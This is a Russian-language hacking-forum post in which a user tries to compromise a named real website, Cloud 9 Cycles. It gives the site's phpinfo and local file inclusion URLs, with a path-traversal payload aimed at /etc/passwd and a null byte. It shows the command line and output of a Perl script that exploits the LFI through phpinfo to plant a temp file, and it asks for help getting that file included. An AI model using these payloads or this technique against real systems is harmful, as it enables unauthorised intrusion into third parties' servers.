Показать сообщение отдельно

  #1  
Старый 19.09.2013, 11:22
psihoz26
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
С нами: 8142806

Репутация: 324


По умолчанию

ссылка на пхпинфо

http://www.cloud9(АНТИГУГОЛ)cycles.com/info.php

ссылка с инклудом

http://www.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../etc/passwd%00

юзаю слоит LFI через phpinfo

взятый отсюда

https://rdot.org/forum/showpost.php?p=12621&postcount=2

Код:
C:\Windows\system32>perl C:\lfi.pl http://www.cloud9(АНТИГУГОЛ)cycles.com/info.php http://w
ww.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../etc/passwd%00
Generating huge headers         [headers ready]
Setting buffer size             [512]
Sending request                 [request sent]
HTTP/1.1 200 OK
Reading.........................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
......................................
Got filename: /tmp/phpROHVzd
Including...

        
                Cloud 9 Cycles
                
                
                
                
                        
                
                
                

                
                
                

                
            
        
        

                
                        
                        
        
        
                                Follow @Cloud9Cycles
        
        
         

                        
        

                                
                                        
                                        
                                                
                                                        home  -
-
                                                        custom builds  --
                                                        bikes  --
                                                        servicing  --
                                                        bike rental  --

                                                        blog  --
                                                        contact us
                                                
                                        
                                        
                                                                        
                        
                        

                        
                                hello

Keeping file /tmp/phpROHVzd in tmp, use it as long as you need it
...............................................................................
патаюсь проинклудить /tmp/phpROHVzd

http://www.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../tmp/phpROHVzd%00

и ничего не ывходит =(

В чем может быть проблема??
 
Ответить с цитированием